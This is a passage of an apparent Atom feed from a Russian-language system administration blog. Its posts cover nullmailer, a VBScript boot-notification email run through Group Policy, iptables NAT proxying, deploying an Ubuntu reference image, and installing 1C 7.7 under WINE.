Sep 29 15:37:04 webserv nullmailer[14760]: Delivery complete, 0 message(s) remain.&lt;/pre&gt;

&lt;p&gt;Если мы видим такие строки, значит сообщение передано почтовому шлюзу. Дальше это уже его забота &amp;mdash; доставить сообщение получателю.&lt;/p&gt;

&lt;p&gt;Таким образом, с использованием nullmailer возможно просто организовать отправку электронной почты через почтовый сервер организации.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-5414274768301112278?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/5414274768301112278/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=5414274768301112278' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5414274768301112278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5414274768301112278'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/09/nullmailer.html' title='Nullmailer &amp;mdash; пересылка локальной почты на почтовый шлюз'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-3856790998618989311</id><published>2008-08-19T11:47:00.011+11:00</published><updated>2008-08-19T15:40:44.287+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows scripting'/><title type='text'>Windows scripting: отправка электронной почты</title><content type='html'>&lt;p&gt;К сожалению, в реальной жизни системному администратору приходится работать не только с unix-подобными системами. Иногда нужно решать задачи системного администрирования на плохо приспособленных и слабодокументированных операционных системах семейства windows. О таких хорошо зарекомендовавших себя инструментах как &lt;tt&gt;bash&lt;/tt&gt;, &lt;tt&gt;perl&lt;/tt&gt; или даже простой &lt;tt&gt;grep&lt;/tt&gt; говорить не приходится. Что же мы имеем в наличии? Фактически имеется технология Windows Script Host с возможностью писать скрипты на языках JScript и VBScript. Мда, ну и выбор... и чтобы усугубить глубину собственного падения далее будем использовать язык VBScript.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Задача&lt;/strong&gt;. Довольно часто встречается ситуация, когда скрипт должен уведомить администратора по электронной почте о наступлении какого-либо события или ситуации. Для примера напишем скрипт, посылающий уведомление о загрузке windows сервера.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Теория&lt;/strong&gt;. Составной частью оперционных систем windows 2000/xp/2003 является динамическая библиотека сdosys.dll. Эта библиотека выдрана из почтового сервера MS Exchange и её функциональность сильно урезана. Тем не менее, с ее помощью можно сформировать сообщение электронной почты и отправить его внешнему почтовому серверу (MTA). Называется это счастье &amp;laquo;&lt;a href="http://msdn.microsoft.com/en-us/library/ms527568%28EXCHG.10%29.aspx"&gt;CDO for Windows 2000&lt;/a&gt;&amp;raquo;, по ссылке доступна подробная документация из MSDN.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Решение&lt;/strong&gt;. Исходный код скрипта &lt;tt&gt;email_notify.vbs&lt;/tt&gt;:&lt;/p&gt;

&lt;pre&gt;Set email = CreateObject("CDO.Message")

With email.Configuration.Fields
    .Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    .Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") _
        = "mail.localnet"
    .Update
End With

email.From = "robot@mycompany.ru"
email.To = "admins@mycompany.ru"

Set wshNetwork = WScript.CreateObject("WScript.Network")
email.Subject = wshNetwork.ComputerName &amp; " включен"
email.Textbody = ""
email.TextBodyPart.charset = "koi8-r"

email.Send&lt;/pre&gt;

&lt;p&gt;Надеюсь, вам не составит труда пробится через синтаксис VBScript. Сам скрипт короткий и достаточно прозрачный для понимания. В основном используются методы объекта &lt;tt&gt;CDO.Message&lt;/tt&gt;, они документированы по приведенной выше ссылке. Конечно, по сравнению с linux реализацией той же функциональности:&lt;/p&gt;

&lt;pre&gt;echo "" | mailx -s "`hostname` is up" admins@mycompany.ru&lt;/pre&gt;

&lt;p&gt;мы получили монстроподобного уродца, но тут уж ничего не поделаешь, такова участь несчастных администраторов windows.&lt;/p&gt;

&lt;p&gt;На этом собственно задача отправки электронных писем из windows скриптов решена. По двойному клику на файле &lt;tt&gt;email_notify.vbs&lt;/tt&gt; скрипт выполнится. Однако, нам еще осталось рассмотреть тонкий момент запуска скрипта при загрузке операционной системы. Ярлык на такой скрипт нельзя помещать в меню &amp;laquo;Startup&amp;raquo; (&amp;laquo;Автозагрузка&amp;raquo;). Ведь такие ярлыки обрабатываются не при загрузке операционной системы, а при начале сеанса конкретного пользователя. По той же причине не подходят и прочие места автозапуска, которые в большом количестве могут быть обнаружены на просторах реестра windows. Некорректно такой скрипт запускать и как системную службу. Вот правильное решение:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Выполняем команду &amp;laquo;Start &gt; Run...&amp;raquo; и вводим магическую команду &amp;laquo;&lt;tt&gt;gpedit.msc&lt;/tt&gt;&amp;raquo;:&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_cy3rHHEVGOo/SKpKb49ChgI/AAAAAAAAAIw/qXYMw_-FNRU/s1600-h/1_run_gpedit_msc.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_cy3rHHEVGOo/SKpKb49ChgI/AAAAAAAAAIw/qXYMw_-FNRU/s400/1_run_gpedit_msc.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5236079359776949762" /&gt;&lt;/a&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;В открывшемся окне с заголовком &amp;laquo;Group Policy Object Editor&amp;raquo; выбираем ветку &amp;laquo;Local Computer Policy &gt; Computer Configuration &gt; Windows Settings &gt; Scripts (Startup/Shutdown)&amp;raquo;:&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_cy3rHHEVGOo/SKpMGgZDddI/AAAAAAAAAJE/rcYrzh7T-oE/s1600-h/2_group_policy_object_editor.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_cy3rHHEVGOo/SKpMGgZDddI/AAAAAAAAAJE/rcYrzh7T-oE/s400/2_group_policy_object_editor.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5236081191429567954" /&gt;&lt;/a&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Дважды кликаем на элемент &amp;laquo;Startup&amp;raquo; в правой части окна и появляется диалоговое окно &amp;laquo;Startup Properties&amp;raquo;:&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_cy3rHHEVGOo/SKpMg8BO82I/AAAAAAAAAJM/DUSslxy13ms/s1600-h/3_startup_properties.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_cy3rHHEVGOo/SKpMg8BO82I/AAAAAAAAAJM/DUSslxy13ms/s400/3_startup_properties.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5236081645522449250" /&gt;&lt;/a&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Нажимаем кнопку &amp;laquo;Add...&amp;raquo;. Во вновь отрывшемся диалоговом окне &amp;laquo;Add a Script&amp;raquo; задаем полный путь к нашему скрипту &lt;tt&gt;email_notify.vbs&lt;/tt&gt;. Официально рекомендованный путь для размещения загрузочных скриптов &amp;mdash; &amp;laquo;C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup&amp;raquo;.&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_cy3rHHEVGOo/SKpNL8e1FBI/AAAAAAAAAJc/PMjDigq_UXI/s1600-h/4_add_a_script.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_cy3rHHEVGOo/SKpNL8e1FBI/AAAAAAAAAJc/PMjDigq_UXI/s400/4_add_a_script.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5236082384380957714" /&gt;&lt;/a&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Нажимаем кнопку &amp;laquo;OK&amp;raquo;, чтобы закрыть диалоговое окно &amp;laquo;Add a Script&amp;raquo;. В списке скриптов диалогового окна &amp;laquo;Startup Properties&amp;raquo; появляется новый скрипт автозапуска.&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_cy3rHHEVGOo/SKpNlDRAtDI/AAAAAAAAAJo/5o1D2aJ8nJw/s1600-h/5_startup_properties_added.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_cy3rHHEVGOo/SKpNlDRAtDI/AAAAAAAAAJo/5o1D2aJ8nJw/s400/5_startup_properties_added.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5236082815698777138" /&gt;&lt;/a&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Нажимаем кнопку &amp;laquo;OK&amp;raquo;, чтобы закрыть диалоговое окно &amp;laquo;Startup Properties&amp;raquo;. Закрываем программу &amp;laquo;Group Policy Object Editor&amp;raquo;. Все, можно проверять запуск скрипта при загрузке.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Выводы&lt;/strong&gt;. Не смотря на то, что вам придется писать уродливые скрипты на бейсике, а также не помешают навыки скоростного кликанья мышкой, операционная система windows худо-бедно поддается автоматизации системного администрирования.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-3856790998618989311?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/3856790998618989311/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=3856790998618989311' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/3856790998618989311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/3856790998618989311'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/08/windows-scripting.html' title='Windows scripting: отправка электронной почты'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_cy3rHHEVGOo/SKpKb49ChgI/AAAAAAAAAIw/qXYMw_-FNRU/s72-c/1_run_gpedit_msc.PNG' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-2217819692270744004</id><published>2008-07-22T17:57:00.005+11:00</published><updated>2008-07-22T18:08:06.258+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>IP прокси средствами фаервола Linux</title><content type='html'>&lt;p&gt;Здесь я покажу пример проксирования IP пакетов средствами межсетевого экрана операционной системы Linux.&lt;/p&gt;

&lt;p&gt;Как известно, фаервол в Linux один &amp;mdash; &lt;a href="http://www.netfilter.org/"&gt;netfilter&lt;/a&gt;. И так как он давно встроен в ядро linux, то не понадобится устанавливать никаких дополнительных программ. Используемый дистрибутив Linux также не имеет значения.&lt;/p&gt;

&lt;p&gt;Сначала несколько слов о том, зачем все это нужно. Например у нас есть две сети: &amp;laquo;Сеть A&amp;raquo; и &amp;laquo;Сеть B&amp;raquo; соединенные linux-маршрутизатором. Компьютеру клиента из &amp;laquo;Сети A&amp;raquo; необходимо получить доступ к серверу в &amp;laquo;Сети B&amp;raquo;. Причем обе сети имеют сложную организацию, не являются простыми ethernet сегментами. У нас имеется контроль над компьютерами клиента, сервером и маршрутизатором. Над остальными частями сетей контроль отсутствует.&lt;/p&gt;

&lt;p align="center"&gt;&lt;a href="http://picasaweb.google.com/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5225729800276887858"&gt;&lt;img src="http://lh3.ggpht.com/xeimxeim/SIWFkPWtSTI/AAAAAAAAAHQ/jpJTCT9y7yg/s400/%D0%94%D0%B8%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B01.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Проксирование ip трафика осуществляется с помощью следующих команд, выполняемых на linux-маршрутизаторе:&lt;/p&gt;

&lt;pre&gt;iptables -t nat -I PREROUTING         \
    -s 172.18.247.24 -d 172.18.55.17  \
    -j DNAT --to-destination 192.168.19.3

iptables -t nat -I POSTROUTING        \
    -s 172.18.247.24 -d 192.168.19.3  \
    -j SNAT --to-source 192.168.19.218&lt;/pre&gt;

&lt;p&gt;Первая команда создает правило фаервола, заставлюящее менять адрес назначения (destination) пакетов на адрес сервера в &amp;laquo;Сети B&amp;raquo;. Второй вызов iptables меняет адрес источника пакетов (source) на адрес маршрутизатора в &amp;laquo;Сети B&amp;raquo;.&lt;/p&gt;

&lt;p&gt;С компьютера клиента нужно будет обращаться на ip адрес маршрутизатора. Например использовать URL http://172.18.55.17 или выполнить команду:&lt;/p&gt;

&lt;pre&gt;ping 172.18.55.17&lt;/pre&gt;

&lt;p&gt;Фактически же на запросы будет отвечать не маршрутизатор, а сервер. Причем со стороны сервера будет казаться что запросы поступают от ip адреса маршрутизатора в &amp;laquo;Сети B&amp;raquo;, т.е. от 192.168.19.218. Таким образом в каждой из сетей будут бегать пакеты только между разрешенными хостами в данной сети и все будут жить долго и счастливо.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-2217819692270744004?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/2217819692270744004/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=2217819692270744004' title='Комментарии: 6'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2217819692270744004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2217819692270744004'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/07/ip-linux.html' title='IP прокси средствами фаервола Linux'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/xeimxeim/SIWFkPWtSTI/AAAAAAAAAHQ/jpJTCT9y7yg/s72-c/%D0%94%D0%B8%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B01.png' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-5289293216882871280</id><published>2008-07-04T10:24:00.003+11:00</published><updated>2008-07-04T10:56:38.630+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Развертывание типового (эталонного) образа Ubuntu Linux</title><content type='html'>&lt;p&gt;В конторе периодически закупаются новые компьютеры и сотрудникам IT-отдела приходится отрываться от более интересных дел и заниматься рутиной в виде установки и настройки операционной системы. Установка Ubuntu традиционным способом с помощью компакт-диска, установка драйверов, обновлений и дополнительных программ из интернета, настройка всего занимают слишком много времени. Одним из способов оптимизации процесса является создание типового образа операционной системы и затем быстрое его развертывание на новых компьютерах.&lt;/p&gt;

&lt;h2&gt;Создание эталонного образа.&lt;/h2&gt;

&lt;p&gt;Прежде всего необходимо создать эталонный образ Ubuntu. Для этого нам потребуется эмулятор виртуальных машин, например VirtualBox или VMWare. Далее:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Устанавливаем Ubuntu в виртуальной машине.&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Настраиваем установленную операционную систему. Например так:&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;включить основные и дополнительные репозитарии и произвести обновление пакетов;&lt;/li&gt;
   &lt;li&gt;установить полную локализацию системы;&lt;/li&gt;
   &lt;li&gt;установить мультимедийные кодеки;&lt;/li&gt;
   &lt;li&gt;установить пакеты с драйверами для видео карт nvidia и ati;&lt;/li&gt;
   &lt;li&gt;установить flash плугин для браузера;&lt;/li&gt;
   &lt;li&gt;установить плугин для открытия документов MSOffice 2007 (*.docx и др.) в OpenOffice;&lt;/li&gt;
   &lt;li&gt;установить необходимые программы и утилиты: ssh сервер, vnc сервер, unrar, wine, virtualbox и много чего ещё...;&lt;/li&gt;
   &lt;li&gt;указать сетевые настройки, например адреса dns и ntp серверов, маршруты;&lt;/li&gt;
   &lt;li&gt;отключить загрузку не нужных демонов;&lt;/li&gt;
   &lt;li&gt;отключить запуск не нужных заданий по расписанию cron;&lt;/li&gt;
   &lt;li&gt;любые другие программы и/или настройки.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Настройка профиля пользователя по умолчанию. Для этого создаем пользователя, например testuser, логинимся под ним и производим настройку. Например:&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;отключить эффекты рабочего стола;&lt;/li&gt;
   &lt;li&gt;разрешить удаленный доступ к рабочему столу (vnc) и задать пароль для него;&lt;/li&gt;
   &lt;li&gt;прописать настройки соединения в браузере: проски-сервер и прочее;&lt;/li&gt;
   &lt;li&gt;в редакторе меню отключить запуск некоторых программ, например подменю "Игры";&lt;/li&gt;
   &lt;li&gt;в настройках сеанса, отключить запуск не нужных программ;&lt;/li&gt;
   &lt;li&gt;любые другие настройки.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;После завершения настройки профиля, копируем содержимое /home/testuser в /etc/skel. Делаем владельцом пользователя root:&lt;/p&gt;
&lt;pre&gt;sudo chown -R root:root /etc/skel&lt;/pre&gt;
&lt;p&gt;Просматриваем директорию &lt;tt&gt;/etc/skel&lt;/tt&gt;, удаляем все лишнее, заменяем в файлах абсолюный путь &lt;tt&gt;/home/testuser&lt;/tt&gt; на относительный &lt;tt&gt;~/&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;Теперь при создании нового пользователя в его домашнюю директорию будет копироваться содержимое &lt;tt&gt;/etc/skel&lt;/tt&gt;.&lt;/p&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Для создания образа будем использовать livecd дистрибутив &lt;a href="http://www.sysresccd.org"&gt;System Rescue CD&lt;/a&gt;.&lt;/p&gt;
    &lt;p&gt;После загрузки, поднимаем сеть:&lt;/p&gt;
    &lt;pre&gt;sysresccd ~ # net-setup&lt;/pre&gt;

    &lt;p&gt;Монтируем директорию по сети, куда мы будем копировать образ:&lt;/p&gt;
    &lt;pre&gt;sysresccd ~ # mkdir /mnt/etalon&lt;/pre&gt;
    &lt;p&gt;пример для sftp:&lt;/p&gt;
    &lt;pre&gt;sysresccd ~ # mount -t fuse sshfs#login@192.168.0.1:/etalon /mnt/etalon&lt;/pre&gt;
    &lt;p&gt;пример для smb:&lt;/p&gt;
    &lt;pre&gt;sysresccd ~ # mount -t cifs -o user=login //192.168.0.2/etalon /mnt/etalon&lt;/pre&gt;

    &lt;p&gt;Далее, монтируем жесткий диск виртуальной машины:&lt;/p&gt;
&lt;pre&gt;sysresccd ~ # mkdir /mnt/sda1
sysresccd ~ # mount /dev/sda1 /mnt/sda1&lt;/pre&gt;

    &lt;p&gt;Создаем образ обычной утилитой tar:&lt;/p&gt;
&lt;pre&gt;sysresccd ~ # cd /mnt/sda1
sysresccd sda1 # tar cvzf /mnt/etalon/etalon-ubuntu8.04-20080704.tar.gz *&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Образ операционной системы создан. У меня файл образа занимает около 1,5 Гб. Остается только записать его на dvd болванку.&lt;/p&gt;


&lt;h2&gt;Развертывание эталонного образа на новом компьютере&lt;/h2&gt;

&lt;p&gt;Развертывание образа эта операция ради которой и затевалось создание самого образа. Здесь нас снова поможет незаменимый инструмент системного администратора System Rescue CD. Загружаем новый компьютер с его помощью, при загрузке вводим опции, чтобы после можно было освободить dvd привод:&lt;/p&gt;
&lt;pre&gt;rescuecd docache doeject&lt;/pre&gt;

&lt;p&gt;Вытаскиваем livecd, устанавливаем в привод болванку с образом. Далее:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Разметка диска. Например: все место под корневой раздел, файловая система reiserfs, под swap 2ГБ:&lt;/p&gt;
&lt;pre&gt;sysresccd ~ # сfdisk /dev/sda
sysresccd ~ # mkfs.reiserfs /dev/sda1
sysresccd ~ # mkswap /dev/sda2&lt;/pre&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Монтируем диски и разворачиваем эталон:&lt;/p&gt;
&lt;pre&gt;sysresccd ~ # mkdir /mnt/sda1
sysresccd ~ # mount /dev/sda1 /mnt/sda1
...
sysresccd ~ # mkdir /mnt/etalon
sysresccd ~ # mount /dev/cdrom /mnt/etalon
...
sysresccd ~ # tar -С /mnt/sda1 xvzf /mnt/etalon/etalon-ubuntu8.04-20080704.tar.gz&lt;/pre&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Правим файлы &lt;tt&gt;/mnt/sda1/etc/fstab&lt;/tt&gt; и &lt;tt&gt;/mnt/sda1/boot/grub/menu.lst&lt;/tt&gt; чтобы UUID метки дисков соответствовали новым томам. UUID метки можно узнать с помощью команды:&lt;/p&gt;
&lt;pre&gt;sysresccd ~ # blkid&lt;/pre&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Устанавливаем загрузчик grub в mbr область нового диска:&lt;/p&gt;
&lt;pre&gt;sysresccd ~ # grub-install --root-directory=/mnt/sda1 /dev/sda&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Если все прошло успешно, то мы уже можем загрузить с операционную систему с жесткого диска. Дальше:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Сконфигурируем видео драйвер (в эталоне должен быть установлен универсальный драйвер vesa):&lt;/p&gt;
&lt;pre&gt;administrator@etalon:~# sudo dpkg-reconfigure -phigh xserver-xorg&lt;/pre&gt;
&lt;p&gt;После перезапуска иксов (Ctrl-Alt-Backspace) должен подняться нормальный видео драйвер.&lt;/p&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Сменим имя хоста и сетевые настройки:&lt;/p&gt;
&lt;pre&gt;administrator@etalon:~# sudo gedit /etc/hostname
administrator@etalon:~# sudo gedit /etc/network/interfaces&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Компьютер готов к работе. После установки на рабочее место пользователя ещё потребуется настроить принтера, но это уже отдельная история.&lt;/p&gt;

&lt;p&gt;После приобретения некоторого опыта установка операционной системы на новый компьютер занимает около 20 минут. Конечно предварительно должно быть потрачено время на создание эталонного образа и периодическое его обновление, но при больших количествах новых компьютеров оно окупается. Данный способ успешно применяется уже 1,5 года.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-5289293216882871280?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/5289293216882871280/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=5289293216882871280' title='Комментарии: 10'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5289293216882871280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5289293216882871280'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/07/ubuntu-linux.html' title='Развертывание типового (эталонного) образа Ubuntu Linux'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-5911844927703832369</id><published>2008-06-03T14:24:00.013+11:00</published><updated>2008-06-03T15:18:46.206+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Установка 1С Предприятие 7.7 на WINE@Etersoft</title><content type='html'>&lt;p&gt;Установка &lt;a href="http://1c.ru/rus/products/1c/predpr/complex77.htm"&gt;1С Предприятие 7.7 (сетевая версия)&lt;/a&gt; на &lt;a href="http://ubuntu.ru/pr/desktop804"&gt;Ubuntu Linux Desktop 8.04 LTS&lt;/a&gt; с использованием коммерческой версии &lt;a href="http://www.etersoft.ru/content/view/113/179/"&gt;WINE@Etersoft SQL 1.0.8&lt;/a&gt;.&lt;br&gt; По большому счету, используемый дистрибутив Linux не имеет значения, но желательно чтобы он был в &lt;a href="http://updates.etersoft.ru/pub/Etersoft/WINE@Etersoft/1.0.8/distro.list"&gt;списке поддерживаемых&lt;/a&gt;. Предполагается что установка не эмулятора wine и драйвера ключей защиты Aladdin HASP 4 уже произведена:&lt;/p&gt;


&lt;pre&gt;admin@zam:~$ wine --version
WINE@Etersoft 1.0 SQL (1.0.8), registration number is XXXX-XXXX.
Legality check is available on the page http://sales.etersoft.ru/product/.


admin@zam:~$ sudo /etc/init.d/haspd status
[sudo] password for admin: 
Hardware protection keys support bundle. Etersoft (c) 2007
: haspd.init,v 1.102 2007/11/15 17:39:03 lav Exp $
Aladdin HASP 4/HL driver status:
-e  kernel module aksparlnx is loaded
-e  aksusbd is running
-e  winehasp is running
-e  hasplm is running
Daemon version: 1.8.1 - key API (USB) version: 3.85, key API (parallel driver) version: 3.86
Smartkey 3 USB/LPT driver status:
-e  skeyd is running
skeymon v11.5 - Smartkey server monitor
Copyright (C) 2004 Eutron &lt;helpdesk@eutron.com&gt;

====================================================
             Smartkey server statistics
====================================================
Opens       keys: 0       servers: 1    
====================================================
Messages    received: 0     sent: 0     error: 0    
====================================================
Clients     logged: 0     removed: 0    
====================================================
SafeNet Sentinel status:
-e  usbdaemon is running
-e  SntlKeysSrvrlnx is running&lt;/pre&gt;



&lt;p&gt;Обязательно копируем дистибутив 1С в директорию диска &lt;tt&gt;C:&lt;/tt&gt;&amp;nbsp;&amp;mdash; &lt;tt&gt;~/wine_c&lt;/tt&gt;. В противном случае можем нарваться на сообщение об ошибке: &lt;/p&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207491982234844082"&gt;&lt;img src="http://lh4.ggpht.com/xeimxeim/SES6XgvNe7I/AAAAAAAAADY/BM0F_o-FCMo/s800/Screenshot-Setup%20Initialization%20Error.png" /&gt;&lt;/a&gt;


&lt;p&gt;Устанавливаем 1C Предприятие:&lt;/p&gt;
&lt;pre&gt;admin@zam:~$ wine ~/wine_c/1s/P770025/entrm/DISK1/setup.exe&lt;/pre&gt;
&lt;p&gt;Дальше установка идет обычным способом, как в Windows, просто серия скриншотов:&lt;/p&gt;

&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207495088278052626"&gt;&lt;img src="http://lh5.ggpht.com/xeimxeim/SES9MTpnnxI/AAAAAAAAAEE/ejPLV9LWmnk/s400/Screenshot-1.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207496068655636034"&gt;&lt;img src="http://lh4.ggpht.com/xeimxeim/SES-FX12XkI/AAAAAAAAAEM/WTtykvZ_-XM/s400/Screenshot-2.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207496236327447186"&gt;&lt;img src="http://lh4.ggpht.com/xeimxeim/SES-PId7KpI/AAAAAAAAAEU/_FV6Ws_ydCY/s400/Screenshot-3.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207496401271899122"&gt;&lt;img src="http://lh6.ggpht.com/xeimxeim/SES-Yu7vw_I/AAAAAAAAAEc/GHC8CvDt-mk/s400/Screenshot-4.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207496646536466130"&gt;&lt;img src="http://lh5.ggpht.com/xeimxeim/SES-nAnYDtI/AAAAAAAAAEk/GvBlmMn5KPw/s400/Screenshot-6.png" /&gt;&lt;/a&gt;
